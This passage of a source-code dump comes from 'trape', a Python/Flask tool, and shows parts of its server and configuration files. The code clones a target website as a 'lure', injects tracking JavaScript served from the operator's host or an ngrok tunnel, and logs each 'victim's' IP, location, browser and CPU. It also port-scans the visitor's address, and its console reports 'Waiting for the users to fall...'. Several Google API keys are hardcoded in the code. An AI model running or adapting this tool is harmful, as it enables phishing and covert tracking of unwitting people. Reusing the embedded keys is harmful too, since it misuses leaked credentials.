db.sentences_stats('all_networks')\n\n    rows = db.sentences_stats('get_clicks')\n    c = rows[0][0]\n    rows = db.sentences_stats('get_sessions')\n    s = rows[0][0]\n    vId = ('online', )\n    rows = db.sentences_stats('get_online', vId)\n    o = rows[0][0]\n\n    injectCode = ''\n    if trape.nGrokUrl != '':\n        injectCode = str(trape.nGrokUrl) + '/' + str(trape.injectURL)\n    else:\n        injectCode = str(trape.localIp) + ':' + str(trape.app_port) + '/' + str(trape.injectURL)\n\n    return json.dumps({'status' : 'OK', 'd' : d, 'n' : n, 'c' : c, 's' : s, 'o' : o, \"ic\" : injectCode})\n\n@app.route(\"/get_preview\", methods=[\"POST\"])\ndef home_get_preview():\n    vId = request.form['vId']\n    t = (vId,)\n    d = db.sentences_stats('get_preview', t)\n    n = db.sentences_stats('id_networks', t)\n    h = db.sentences_stats('get_hostsalive', t)\n    return json.dumps({'status' : 'OK', 'vId' : vId, 'd' : d, 'n' : n, 'h' : h})\n\n@app.route(\"/get_title\", methods=[\"POST\"])\ndef home_get_title():\n    opener = urllib.request.build_opener()\n    html = opener.open(trape.url_to_clone).read()\n    html = html[html.find(b'<title>') + 7 : html.find(b'</title>')]\n    return json.dumps({'status' : 'OK', 'title' : html})\n\n@app.route(\"/get_requests\", methods=[\"POST\"])\ndef home_get_requests():\n    d = db.sentences_stats('get_requests')\n\n    return json.dumps({'status' : 'OK', 'd' : d})\n\n@app.route(\"/get_socialimpact\", methods=[\"POST\"])\ndef home_get_socialimpact():\n    d = db.sentences_stats('get_socialimpact')\n\n    return json.dumps({'status' : 'OK', 'd' : d})\n\n\n@app.route(\"/\" + trape.remove_path, methods=[\"POST\"])\ndef home_rm_rows():\n    vId = request.form['vId']\n    db.sentences_victim('delete_victim', vId, 2)\n    db.sentences_victim('delete_geo', vId, 2)\n    db.sentences_victim('delete_networks', [vId], 2)\n    return json.dumps({'status' : 'OK', 'id' : vId})\n\n@app.route(\"/pn\", methods=[\"POST\"])\ndef home_putName():\n    vId = request.form['vId']\n    name = request.form['n']\n    db.sentences_victim('update_name', [vId, name], 2)\n    return json.dumps({'status' : 'OK', 'id' : vId})\n\n@app.route(\"/\" + trape.injectURL)\ndef inject():\n    mPath = ''\n    if getattr(sys, 'frozen', False):\n        mPath = sys._MEIPASS + '/'\n\n    f_codeToInject = open(mPath + \"static/js/inject.js\",\"r\")\n    codeToInject = f_codeToInject.read().replace('[LIBS_SRC]', trape.JSFiles[1]['src']).replace('[BASE_SRC]', trape.JSFiles[0]['src']).replace('[LURE_SRC]', trape.JSFiles[3]['src']).replace('[CUSTOM_SRC]', trape.JSFiles[6]['src'])\n    f_codeToInject.close()\n\n    server_code = ''\n    if trape.nGrokUrl != '':\n        server_code = str(trape.nGrokUrl) \n    else:\n        server_code = str(trape.localIp) + ':' + str(trape.app_port) \n\n    codeToInject = codeToInject.replace('[HOST_ADDRESS]', server_code)\n    codeToInject = codeToInject.replace('[YOUR_GMAPS_API_KEY]', trape.gmaps)\n    return codeToInject\n\n@app.route(\"/static/js/<JSFile>\")\ndef busted(JSFile):\n    code = ''\n    mPath = ''\n    if getattr(sys, 'frozen', False):\n        mPath = sys._MEIPASS + '/'\n    for obj in trape.JSFiles:\n        if str(obj['src']) == str(JSFile):\n            s_code = open(mPath + \"static/js/\" + obj['path'],\"r\") \n            code = s_code.read()\n            s_code.close()\n            break\n    if code != '':\n        return code\n    else:\n        return render_template('404.html') \n\n@app.route(\"/styles/<CSSFile>\")\ndef style_redirect(CSSFile):\n    code = ''\n    for obj in trape.CSSFiles:\n        if str(obj['src']) == str(CSSFile):\n            code = obj['path']\n            break\n    return redirect(code)\n\n@app.route(\"/static/files/<File>\")\ndef file_redirect(File):\n    uploads = os.path.join(os.getcwd(), './')\n    return send_from_directory(directory=uploads, filename=File)\n"
  },
  {
    "path": "core/trape.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#**\n#\n#########\n# trape #\n#########\n#\n# trape depends of this file\n# For full copyright information this visit: https://github.com/jofpin/trape\n#\n# Copyright 2018 by Jose Pino (@jofpin) / <jofpin@gmail.com>\n#**\nimport time\nimport json\nimport urllib\nfrom core.dependence import urllib2\nimport http.client \nimport argparse\nimport socket\nimport sys\nimport os\nfrom core.utils import utils\nimport subprocess\nimport requests\nimport hashlib, binascii\nfrom threading import Timer\nfrom multiprocessing import Process\nimport atexit\n\nclass Trape(object):\n\tdef __init__(self, stat = 0):\n\t\tself.name_trape = \"Trape\"\n\t\tself.version = \"2.1\"\n\t\tself.stats_path = \"ngrok\"\n\t\tself.home_path = utils.generateToken(18)\n\t\tself.logout_path = utils.generateToken(6)\n\t\tself.remove_path = utils.generateToken(14)\n\t\tself.injectURL = utils.generateToken(12) + '.js'\n\t\tself.stats_key = utils.generateToken(24)\n\t\tself.date_start = time.strftime(\"%Y-%m-%d - %H:%M:%S\")\n\t\tself.stat = stat\n\t\tself.localIp = '127.0.0.1'\n\t\tself.nGrokUrl = ''\n\n\t\tself.JSFiles = ({\"path\" : \"base.js\", \"src\" : utils.generateToken(12)},{\"path\" : \"libs.min.js\", \"src\" : utils.generateToken(12)},{\"path\" : \"login.js\", \"src\" : utils.generateToken(12)},{\"path\" : \"payload.js\", \"src\" : utils.generateToken(12)},{\"path\" : \"trape.js\", \"src\" : utils.generateToken(12)},{\"path\" : \"vscript.js\", \"src\" : utils.generateToken(12)},{\"path\" : \"custom.js\", \"src\" : utils.generateToken(12)},)\n\t\tself.CSSFiles = ({\"path\" : \"/static/img/favicon.ico\", \"src\" : utils.generateToken(12)},{\"path\" : \"/static/img/favicon.png\", \"src\" : utils.generateToken(12)},{\"path\" : \"/static/css/base-icons.css\", \"src\" : utils.generateToken(12)},{\"path\" : \"/static/css/styles.css\", \"src\" : utils.generateToken(12)},{\"path\" : \"/static/css/normalize.min.css\", \"src\" : utils.generateToken(12)},{\"path\": \"/static/css/services-icons.css\", \"src\" : utils.generateToken(12)},)\n\n\t\tif self.stat == 1:\n\t\t\tc = http.client.HTTPConnection('www.google.com', timeout=5)\n\t\t\ttry:\n\t\t\t\tc.request(\"HEAD\", \"/\")\n\t\t\t\tc.close()\n\t\t\texcept Exception as e:\n\t\t\t\tc.close()\n\t\t\t\tutils.Go(\"\\033[H\\033[J\")\n\t\t\t\tutils.Go(utils.Color['whiteBold'] + \"[\" + utils.Color['redBold'] + \"x\" + utils.Color['whiteBold'] + \"]\" + utils.Color['redBold'] + \" \" + \"NOTICE: \" + utils.Color['white'] + \"Trape needs Internet connection for working\" + \"\\n\\t\")\n\t\t\t\tsys.exit(0)\n\n\t\t\tif (not(os.path.exists(\"trape.config\"))):\n\t\t\t \tself.trape_config()\n\t\t\ttry:\n\t\t\t\tconfig_trape = json.load(open(\"trape.config\"))\n\t\t\texcept Exception as error:\n\t\t\t\tos.remove('trape.config')\n\t\t\t\tself.trape_config()\n\n\t\t\tself.ngrok = config_trape['ngrok_token']\n\t\t\tself.gmaps = config_trape['gmaps_api_key']\n\t\t\tself.ipinfo = config_trape['ipinfo_api_key']\n\t\t\tif self.gmaps == '':\n\t\t\t\tself.gmaps = 'AIzaSyA30wEa2DwUuddmNTHvoprhnrB2w_aCWbs'\n\t\t\tself.googl = config_trape['gshortener_api_key']\n\t\t\tif self.googl == '':\n\t\t\t\tself.googl = 'AIzaSyDHMDTOGo9L1OBl5vRxOVM6vpXOXVp5jCc'\n\t\t\t\n\t\t\tparser = argparse.ArgumentParser(\"python3 trape.py -u <<Url>> -p <<Port>>\")\n\t\t\tparser.add_argument('-u', '--url', dest='url', help='Put the web page url to clone')\n\t\t\tparser.add_argument('-p', '--port', dest='port', help='Insert your port')\n\t\t\tparser.add_argument('-ak', '--accesskey', dest='accesskey', help='Insert your custom key access')\n\t\t\tparser.add_argument('-l', '--local', dest='local', help='Insert your home file')\n\t\t\tparser.add_argument('-n', '--ngrok', dest='ngrok', help='Insert your ngrok Authtoken', action='store_true')\n\t\t\tparser.add_argument('-ic', '--injectcode', dest='injc', help='Insert your custom REST API path')\n\t\t\tparser.add_argument('-ud', '--update', dest='update', action='store_true', default=False, help='Update trape to the latest version')\n\n\t\t\toptions = parser.parse_args()\n\n\t\t\tself.type_lure = 'global'\n\n\t\t\t# Check current updates\n\n\t\t\tif options.update:\n\t\t\t\tutils.Go(\"\\033[H\\033[J\")\n\t\t\t\tutils.Go(\"Updating...\" + \" \" + utils.Color['blue'] + \"trape\" + utils.Color['white'] + \"...\" + \"\\n\")\n\t\t\t\tsubprocess.check_output([\"git\", \"reset\", \"--hard\", \"origin/master\"])\n\t\t\t\tsubprocess.check_output([\"git\", \"pull\"])\n\t\t\t\tutils.Go(\"Trape Updated... Please execute again...\")\n\t\t\t\tsys.exit(0)\n\n\t\t\tif options.url is None:\n\t\t\t\tutils.Go(\"\\033[H\\033[J\")\n\t\t\t\tutils.Go(\"----------------------------------------------\")\n\t\t\t\tutils.Go(\"\" + \" \" + utils.Color['redBold'] + \"TRAPE\" + utils.Color['white'] +\" {\" + utils.Color['yellowBold'] + \"stable\" + utils.Color['white'] + \"}\" + utils.Color['white'] + \" - \" + \"Osint and analytics tool\" + \" \" + \"<\" +utils.Color['white'])\n\t\t\t\tutils.Go(\"----------------------------------------------\")\n\t\t\t\tutils.Go(\"| v\" + utils.Color['redBold'] + self.version + utils.Color['white'] + \" |\")    \n\t\t\t\tutils.Go(\"--------\" + \"\\n\")\n\t\t\t\tutils.Go(utils.Color['whiteBold'] + \"[\" + utils.Color['greenBold'] + \"!\" + utils.Color['whiteBold'] + \"]\" + \" \" + utils.Color['white'] + \"Enter the information requested below to complete the execution\" + utils.Color['white'])\n\t\t\t\tutils.Go(\"\")\n\n\t\t\t\toptions.url = input(utils.Color['blueBold'] + \"-\" + utils.Color['white'] + \" Enter a URL to generate the lure\" + \" \" + utils.Color['yellow'] + \":~> \" + utils.Color['white'])\n\n\t\t\tif options.port is None:\n\t\t\t\toptions.port = input(utils.Color['blueBold'] + \"-\" + utils.Color['white'] + \" What is your port to generate the server?\" + \" \" + utils.Color['yellow'] + \":~> \" + utils.Color['white'])\n\n\t\t\twhile utils.checkPort(int(options.port)) == False:\n\t\t\t\tutils.Go(\"\\033[H\\033[J\")\n\t\t\t\tutils.Go(\"----------------------------------------------\")\n\t\t\t\tutils.Go(\"\" + \" \" + utils.Color['redBold'] + \"TRAPE\" + utils.Color['white'] +\" {\" + utils.Color['yellowBold'] + \"stable\" + utils.Color['white'] + \"}\" + utils.Color['white'] + \" - \" + \"Osint and analytics tool\" + \" \" + \"<\" +utils.Color['white'])\n\t\t\t\tutils.Go(\"----------------------------------------------\")\n\t\t\t\tutils.Go(\"\\n\")\n\t\t\t\tutils.Go(utils.Color['whiteBold'] + \"[\" + utils.Color['redBold'] + \"x\" + utils.Color['whiteBold'] + \"]\" + utils.Color['redBold'] + \" \" + \"ERROR:\" + \" \" + utils.Color['whiteBold'] + \"The port: \" + options.port + utils.Color['white'] + \" \" + \"is not available, It was previously used (\" + utils.Color['yellow'] + \"Use another port\" + utils.Text['end'] + \")\" + \"\\n\\n\")\n\t\t\t\toptions.port = input(utils.Color['blueBold'] + \"-\" + utils.Color['white'] + \" What is your port to generate the server?\" + \" \" + utils.Color['yellow'] + \":~> \" + utils.Color['white'])\n\n\t\t\t#while utils.checkUrl(str(options.url)) == False:\n\t\t\t\toptions.url = input(utils.Color['blueBold'] + \"-\" + utils.Color['white'] + \" Enter a URL to generate the lure\" + \" \" + utils.Color['yellow'] + \":~> \" + utils.Color['white'])\n\n\n\t\t\tutils.Go(\"\")\n\t\t\tutils.Go(utils.Color['greenBold'] + \"-\" + utils.Color['white'] + \" Successful \" + utils.Color['greenBold'] + \"startup\" + utils.Color['white'] + \", get lucky on the way!\" + utils.Color['white'])\n\t\t\tutils.Go(\"\")\n\t\t\ttime.sleep(0.1)\n\n\n\t\t\ts = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\t\t\ts.connect((\"8.8.8.8\", 80))\n\t\t\tself.localIp = s.getsockname()[0]\n\n\t\t\tself.app_port = int(options.port)\n\t\t\tself.url_to_clone = str(options.url)\n\t\t\tif self.url_to_clone[0:4] != 'http':\n\t\t\t\tself.url_to_clone = 'http://' + self.url_to_clone\n\t\t\tself.victim_path = options.url.replace(\"http://\", \"\").replace(\"https://\", \"\")\n\n\t\t\tif (options.ngrok or (self.ngrok != \"\")):\n\t\t\t\tif self.ngrok == '':\n\t\t\t\t\tutils.Go(\"\\033[H\\033[J\")\n\t\t\t\t\tself.ngrok = input(\"What is your nGrok token?\" + \" \" + utils.Color['yellow'] + \":~> \" + utils.Color['white'])\n\t\t\t\tif (self.ngrok != ''):\n\t\t\t\t\tfrom core.ngrok import ngrok\n\t\t\t\t\timport os.path as path\n\n\t\t\t\t\tv_ngrok = ngrok(self.ngrok, self.app_port, stat, self.stats_path)\n\t\t\t\telse:\n\t\t\t\t\tutils.Go(utils.Color['whiteBold'] + \"[\" + utils.Color['redBold'] + \"x\" + utils.Color['whiteBold'] + \"]\" + utils.Color['redBold'] + \" \" + \"ERROR: \" + \" \" + utils.Color['white'] + \"Your nGrok authtoken can't be empty\")\n\t\t\t\n\t\t\t# Custom name of REST API\n\t\t\tif (options.injc):\n\t\t\t\tself.injectURL = options.injc\n\n\t\t\t# Custom access token\t\n\t\t\tif (options.accesskey):\n\t\t\t    self.stats_key = options.accesskey\n\n\n\t# Design principal of the header of trape\n\tdef header(self):\n\t\tif self.stat == 1:\n\t\t\t# Principal header of tool\n\t\t\tutils.banner()\n\n\t\t\t# Update verification\n\t\t\tchangeLog = requests.get(\"https://raw.githubusercontent.com/jofpin/trape/master/version.txt\", timeout = 4)\n\t\t\tchangeLog = changeLog.text.split(\" \")[1]\n\t\t\tchangeLog = changeLog.strip()\n\t\t\tif changeLog != self.version:\n\t\t\t\tutils.Go(utils.Color['white'] + \"\\t\" + utils.Color['yellowBold'] + \"@\" + utils.Color['white'] + \"-\" + utils.Color['blue'] + \"=\" + utils.Color['white'] + \"[\"  + utils.Color['whiteBold'] + \" \" + \"UPDATES:\" + \" \" + utils.Color['yellowBold'] + \"NEW VERSION IS AVAILABLE: \" + utils.Color['white'] + \"v\" + utils.Color['redBold'] + changeLog + utils.Color['white'] + \" \" + \"(install changes)\")\n\t\t\t\tutils.Go(\"\")\n\t\t\telse:\n\t\t\t\tutils.Go(utils.Color['white'] + \"\\t\" + utils.Color['yellowBold'] + \"@\" + utils.Color['white'] + \"-\" + utils.Color['blue'] + \"=\" + utils.Color['white'] + \"[\"  + utils.Color['whiteBold'] + \" \" + \"UPDATES:\" + \" \" + utils.Color['greenBold'] + \"RUNNING RECENT VERSION\" + utils.Color['white'])\n\t\t\t\tutils.Go(\"\")\n\n\t\t\t# Local information vars\t\n\t\t\tutils.Go(utils.Color['white'] + \"\\t\" + utils.Color['whiteBold'] + \"LOCAL INFORMATION\" + utils.Text['end'])\n\t\t\tutils.Go(\"\\t\" + \"-------------------\")\n\t\t\tutils.Go(utils.Color['white'] + \"\\t\" + utils.Color['green'] + \">\" + utils.Color['white'] + \"-\" + utils.Color['blue'] + \"=\" + utils.Color['white'] + \"[\"  + utils.Color['white'] + \" Lure for the users: \" + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.victim_path)\n\t\t\tutils.Go(utils.Color['white'] + \"\\t\" + utils.Color['green'] + \">\" + utils.Color['white'] + \"-\" + utils.Color['blue'] + \"=\" + utils.Color['white'] + \"[\"  + utils.Color['white'] + \" Your REST API path: \" + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.injectURL + utils.Color['white'])\n\t\t\tutils.Go(utils.Color['white'] + \"\\t\" + utils.Color['green'] + \">\" + utils.Color['white'] + \"-\" + utils.Color['blue'] + \"=\" + utils.Color['white'] + \"[\"  + utils.Color['white'] + \" Control Panel Link: \" + utils.Color['blue'] + \"http://127.0.0.1:\" + utils.Color['blue'] + str(self.app_port) + '/' + self.stats_path)\n\t\t\tutils.Go(utils.Color['white'] + \"\\t\" + utils.Color['green'] + \">\" + utils.Color['white'] + \"-\" + utils.Color['blue'] + \"=\" + utils.Color['white'] + \"[\"  + utils.Color['white'] + \" Your Access key: \" + utils.Color['blue'] + self.stats_key + utils.Color['white'])\n\t\t\tutils.Go(\"\")\n\t\t\tif self.ngrok != '':\n\t\t\t\tif self.googl == '':\n\t\t\t\t\tself.googl = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs'\n\t\t\t\ttry:\n\t\t\t\t\topener = urllib.request.build_opener()\n\t\t\t\t\tpLog = 4040\n\t\t\t\t\tngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace('\\n', '').replace(' ', '')\n\t\t\t\t\ttime.sleep(0.5)\n\t\t\t\t\tngrokUrlPos = ngrokStatus.find('ngrok.io')\n\t\t\t\t\tif ngrokUrlPos <= 0:\n\t\t\t\t\t\ttime.sleep(4)\n\t\t\t\t\t\tngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace('\\n', '').replace(' ', '')\n\t\t\t\t\t\tngrokUrlPos = ngrokStatus.find('ngrok.io')\n\t\t\t\t\tif ngrokUrlPos >= 0:\n\t\t\t\t\t\tngrokStatus = ngrokStatus[ngrokUrlPos-25:ngrokUrlPos+28]\n\t\t\t\t\t\tngrokUrlPos = ngrokStatus.find('http')\n\t\t\t\t\t\tngrokUrlPos2 = ngrokStatus.find('.io')\n\t\t\t\t\t\tngrokStatus = ngrokStatus[ngrokUrlPos: ngrokUrlPos2] + '.io'\n\t\t\t\t\t\tutils.Go(utils.Color['white'] + \"\\t\" + utils.Color['whiteBold'] + \"PUBLIC INFORMATION\" + utils.Text['end'])\n\t\t\t\t\t\tutils.Go(\"\\t\" + \"-------------------\")\n\t\t\t\t\t\tr = utils.gShortener(self.googl, ngrokStatus.replace('https', 'http') + '/' + self.victim_path)\n\t\t\t\t\t\tself.nGrokUrl = ngrokStatus.replace('https', 'http')\n\t\t\t\t\t\tutils.Go(utils.Color['white'] + \"\\t\" + utils.Color['yellow'] + \">\" + utils.Color['white'] + \"-\" + utils.Color['blue'] + \"=\" + utils.Color['white'] + \"[\"  + utils.Color['white'] + \" Public lure: \" + utils.Color['blue'] + self.nGrokUrl + '/' + self.victim_path + utils.Color['white'])\n\t\t\t\t\t\tutils.Go(utils.Color['white'] + \"\\t\" + utils.Color['yellow'] + \">\" + utils.Color['white'] + \"-\" + utils.Color['blue'] + \"=\" + utils.Color['white'] + \"[\"  + utils.Color['white'] + \" Control Panel link: \" + utils.Color['blue'] + ngrokStatus.replace('https', 'http') + '/' + self.stats_path + utils.Color['white'])\n\t\t\t\t\telse:\n\t\t\t\t\t\tutils.Go(utils.Color['red'] + \"\\t\" + utils.Color['green'] + \"-\" + utils.Color['white'] + \"--\" + utils.Color['red'] + \"=\" + utils.Color['white'] + \"[\"  + utils.Color['white'] + \" We can't connect with nGrok \" + utils.Color['white'])\n\t\t\t\texcept Exception as e:\n\t\t\t\t\tutils.Go(utils.Color['white'] + \"[\" + utils.Color['redBold'] + \"x\" + utils.Color['whiteBold'] + \"]\" + utils.Color['redBold'] + \" \" + \"ERROR: \" + \" \" + utils.Color['white'] + e.message)\n\t\t\t\t\tutils.Go(utils.Color['red'] + \"\\t\" + utils.Color['green'] + \"-\" + utils.Color['white'] + \"--\" + utils.Color['red'] + \"=\" + utils.Color['white'] + \"[\"  + utils.Color['white'] + \" We can't connect with nGrok \" + utils.Color['white'])\n\t\t\tutils.Go(\"\\n\" + utils.Color['white'])\n\t\t\tutils.Go(utils.Color['white'] + \"[\" + utils.Color['greenBold'] + \">\" + utils.Color['white'] + \"]\" + utils.Color['whiteBold'] + \" \" + \"Start time:\" + \" \" + utils.Color['white'] + self.date_start)\n\t\t\tutils.Go(utils.Color['white'] + \"[\" + utils.Color['greenBold'] + \"?\" + utils.Color['white'] + \"]\" + utils.Color['white'] + \" \" + \"Do not forget to close \" + self.name_trape + \", after use. Press Control C\" + \" \" + utils.Color['white'] + '\\n')\n\t\t\tutils.Go(utils.Color['white'] + \"[\" + utils.Color['greenBold'] + \"¡\" + utils.Color['white'] + \"]\" + utils.Color['white'] + \" \" + \"Waiting for the users to fall...\" + \"\\n\")\n\n\t# Important: in the process of use is possible that will ask for the root\n\tdef rootConnection(self):\n\t\tpass\n\n\t# Detect operating system, to compose the compatibility\t\t\t\n\tdef loadCheck(self):\n\t\tutils.checkOS()\n\t\t\n    # the main file (trape.py)\n\tdef main(self):\n\t\timport core.sockets\n\n\t# Create config file\n\tdef trape_config(self):\n\t\tutils.Go(\"\\033[H\\033[J\")\n\t\tutils.Go(\"----------------------------------------------------------\")\n\t\tutils.Go(\"\" + \" \" + utils.Color['redBold'] + \"TRAPE\" + utils.Color['white'] +\" {\" + utils.Color['yellowBold'] + \"stable\" + utils.Color['white'] + \"}\" + utils.Color['white'] + \" - \" + \"Configuration zone to use the software\" + \" \" + \"<\" + utils.Color['white'])\n\t\tutils.Go(\"----------------------------------------------------------\")\n\t\tutils.Go(\"| v\" + utils.Color['redBold'] + self.version + utils.Color['white'] + \" |\")    \n\t\tutils.Go(\"--------\" + \"\\n\")\n\t\tutils.Go(utils.Color['whiteBold'] + \"GENERAL CONFIG\" + utils.Color['white'])\n\t\tutils.Go(\"------\")\n\t\tutils.Go(\"Through this section you will configure the resources required \\nfor an effective function of trape, please complete the following steps, below. \\nKeep in mind that if the data is incorrect this tool will not work.\" + utils.Color['white'])\n\t\tutils.Go(\"\")\n\t\tutils.Go(utils.Color['whiteBold'] + \"NGROK TOKEN\" + utils.Color['white'])\n\t\tutils.Go(\"------\")\n\t\tutils.Go(\"In the next section you must enter your Ngrok token, if you do not have \\none register at (\" + utils.Color['blueBold'] + \"https://ngrok.com\" + utils.Color['white'] + \"), this data is necessary for the generation of public network tunnels.\")\n\t\tutils.Go(\"\")\n\t\tc_nGrokToken = input(utils.Color['blueBold'] + \"-\" + utils.Color['white'] + \" Enter your ngrok token\" + \" \" + utils.Color['yellow'] + \":~> \" + utils.Color['white'])\n\t\tutils.Go(\"\")\n\t\tutils.Go(utils.Color['whiteBold'] + \"GOOGLE API\" + utils.Color['white'])\n\t\tutils.Go(\"------\")\n\t\tutils.Go(\"You must register with the \" + utils.Color['blueBold'] + \"Google Console\" + utils.Color['white'] + \", and get an API for maps and another for shortening. \\nBy having these data you complete the settings\")\n\t\tutils.Go(\"\")\n\t\tc_gMapsToken = input(utils.Color['blueBold'] + \"-\" + utils.Color['white'] + \" What is your Google Maps Api Key?\" + \" \" + utils.Color['yellow'] + \":~> \" + utils.Color['white'])\n\t\tc_gOoglToken = input(utils.Color['blueBold'] + \"-\" + utils.Color['white'] + \" Enter your Goo.gl (shortener) Api Key (leave it empty if you don't have)\" + \" \" + utils.Color['yellow'] + \":~> \" + utils.Color['white'])\n\t\tutils.Go(\"\")\n\t\tutils.Go(utils.Color['whiteBold'] + \"IP INFO API\" + utils.Color['white'])\n\t\tutils.Go(\"------\")\n\t\tutils.Go(\"You must register with the \" + utils.Color['blueBold'] + \"https://ipgeolocation.io\" + utils.Color['white'] + \", and get an API for geolocation. \\nBy having these data you complete the settings\")\n\t\tutils.Go(\"\")\n\t\tc_ipinfo = input(utils.Color['blueBold'] + \"-\" + utils.Color['white'] + \" What is your IP Info Api Key?\" + \" \" + utils.Color['yellow'] + \":~> \" + utils.Color['white'])\n\t\tutils.Go(\"\")\n\t\tutils.Go(utils.Color['greenBold'] + \"-\" + utils.Color['white'] + \" Congratulations! \" + utils.Color['greenBold'] + \"Successful configuration\" + utils.Color['white'] + \", now enjoy Trape!\" + utils.Color['white'])\n\t\tutils.Go(\"\")\n\t\ttime.sleep(0.4)\n\t\tif (c_nGrokToken != '' and c_gMapsToken != ''):\n\t\t\tv = '{\\n\\t\"ngrok_token\" : \"' + c_nGrokToken + '\",\\n\\t\"gmaps_api_key\" : \"' + c_gMapsToken + '\",\\n\\t\"gshortener_api_key\" : \"' + c_gOoglToken + '\",\\n\\t\"ipinfo_api_key\" : \"' + c_ipinfo + '\"\\n}'\n\t\t\tf = open ('trape.config', 'w')\n\t\t\tf.write(v)\n\t\t\tf.close()\n\t\telse:\n\t\t\tself.trape_config()\n\n\tdef injectCSS_Paths(self, code):\n\t\tcode = code.replace(\"[FAVICON_HREF]\", self.CSSFiles[0]['src'])\n\t\tcode = code.replace(\"[FAVICON_PNG_HREF]\",self.CSSFiles[1]['src'])\n\t\tcode = code.replace(\"[BASE_ICONS_HREF]\", self.CSSFiles[2]['src'])\n\t\tcode = code.replace(\"[STYLES_HREF]\", self.CSSFiles[3]['src'])\n\t\tcode = code.replace(\"[NORMALIZE_HREF]\", self.CSSFiles[4]['src'])\n\t\tcode = code.replace(\"[SERVICES_ICONS_HREF]\", self.CSSFiles[5]['src'])\n\t\treturn code\n\n# Autocompletion of console\nif \"nt\" in os.name:\n\tpass\nelse:\n\timport readline\n\treadline.parse_and_bind(\"tab:complete\")\n\treadline.set_completer(utils.niceShell)\n"
  },
  {
    "path": "core/user.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#**\n#\n#########\n# trape #\n#########\n#\n# trape depends of this file\n# For full copyright information this visit: https://github.com/jofpin/trape\n#\n# Copyright 2018 by Jose Pino (@jofpin) / <jofpin@gmail.com>\n#**\nimport time\nfrom core.dependence import urllib2\nfrom flask import Flask, render_template, session, request, json, Response\nfrom core.user_objects import *\nimport core.stats\nfrom core.utils import utils\nfrom core.db import Database\nimport os\nimport sys\nimport platform\nimport urllib\nimport requests\nfrom multiprocessing import Process\n\"\"\"\nfrom bs4 import BeautifulSoup\nfrom urlparse import urlparse\nimport lxml\n\"\"\"\n\n# Main parts, to generate relationships among others\ntrape = core.stats.trape\napp = core.stats.app\n\n# call database\ndb = Database()\n\nclass victim_server(object):\n    @app.route(\"/\" + trape.victim_path)\n    def homeVictim():\n        \"\"\"\n        clone_html  = opener.open(trape.url_to_clone).read()\n        soup = BeautifulSoup(clone_html, 'lxml')\n        parsed_uri = urlparse(trape.url_to_clone)\n        domain = '{uri.scheme}://{uri.netloc}/'.format(uri=parsed_uri)\n        for s in soup.find_all('script'):\n            url = s.get('src')\n            if url is not None:\n                if url.startswith('/'):\n                    clone_html = clone_html.replace(url, domain + url)\n        for css in soup.find_all('link'):\n            url = css.get('href')\n            if url is not None:\n                if url.startswith('/'):\n                    clone_html = clone_html.replace(url, domain + url)\n\n        for img in soup.find_all('img'):\n            url = img.get('src')\n            if url is not None:\n                if url.startswith('/'):\n                    clone_html = clone_html.replace(url, domain + url)\n        \"\"\"\n        r = requests.get(trape.url_to_clone, headers=victim_headers2(request.user_agent))\n        if (trape.type_lure == 'local'):\n            html = assignScripts(victim_inject_code(render_template(\"/\" + trape.url_to_clone), 'payload', '/', trape.gmaps, trape.ipinfo))\n        else:\n            html = assignScripts(victim_inject_code(r.content, 'payload', trape.url_to_clone, trape.gmaps, trape.ipinfo))\n        return html\n\n    @app.route(\"/register\", methods=[\"POST\"])\n    def register():\n        vId = request.form['vId']\n        if vId == '':\n          vId = utils.generateToken(5)\n        \n        victimConnect = victim(vId, request.environ['REMOTE_ADDR'], request.user_agent.platform, request.user_agent.browser, request.user_agent.version,  utils.portScanner(request.environ['REMOTE_ADDR']), request.form['cpu'], time.strftime(\"%Y-%m-%d - %H:%M:%S\"))\n        victimGeo = victim_geo(vId, request.form['city'], request.form['country_code2'], request.form['country_name'], request.form['ip'], request.form['latitude'], request.form['longitude'], request.form['isp'], request.form['country_code3'], request.form['state_prov'], '', request.form['zipcode'], request.form['organization'], str(request.user_agent), '')\n        \n        vRA = request.environ['REMOTE_ADDR']\n\n        gHA = Process(target=getHostsAlive, args=(vRA, vId,))\n        gHA.start()\n\n        utils.Go(utils.Color['white'] + \"[\" + utils.Color['blueBold'] + \"*\" + utils.Color['white'] + \"]\" + \" A \" + utils.Color['whiteBold'] + \"user\" + utils.Color['white'] + \" has been connected from \" + utils.Color['blue'] + victimGeo.ip + utils.Color['white'] + ' with the following identifier: ' + utils.Color['green'] + vId + utils.Color['white'])\n        cant = int(db.sentences_victim('count_times', vId, 3, 0))\n\n        db.sentences_victim('insert_click', [vId, trape.url_to_clone, time.strftime(\"%Y-%m-%d - %H:%M:%S\")], 2)\n        db.sentences_victim('delete_networks', [vId], 2)\n\n        if cant > 0:\n            utils.Go(utils.Color['white'] + \"[\" + utils.Color['blueBold'] + \"*\" + utils.Color['white'] + \"]\" + \" \" + \"It\\'s the \" + str(cant + 1) + \" time for \" + utils.Color['green'] + str(vId) + utils.Color['white'] + \"@\" + utils.Color['blue'] + victimGeo.ip + utils.Color['white'])\n            db.sentences_victim('update_victim', [victimConnect, vId, time.time()], 2)\n            db.sentences_victim('update_victim_geo', [victimGeo, vId], 2)\n        else:\n            utils.Go(utils.Color['white'] + \"[\" + utils.Color['blueBold'] + \"*\" + utils.Color['white'] + \"]\" + \" \" + \"It\\'s the first time for \" + utils.Color['green'] + str(vId) + utils.Color['white'] + \"@\" + utils.Color['blue'] + victimGeo.ip + utils.Color['white'])\n            db.sentences_victim('insert_victim', [victimConnect, vId, time.time()], 2)\n            db.sentences_victim('insert_victim_data', [vId], 2)\n            db.sentences_victim('insert_victim_battery', [vId], 2)\n            db.sentences_victim('insert_victim_geo', [victimGeo, vId], 2)\n        return json.dumps({'status' : 'OK', 'vId' : vId})\n\n    @app.route(\"/nr\", methods=[\"POST\"])\n    def networkRegister():\n        vId = request.form['vId']\n        vIp = request.form['ip']\n        vnetwork = request.form['red']\n        if vId == '':\n          vId = utils.generateToken(5)\n\n        cant = int(db.sentences_victim('count_victim_network', [vId, vnetwork], 3, 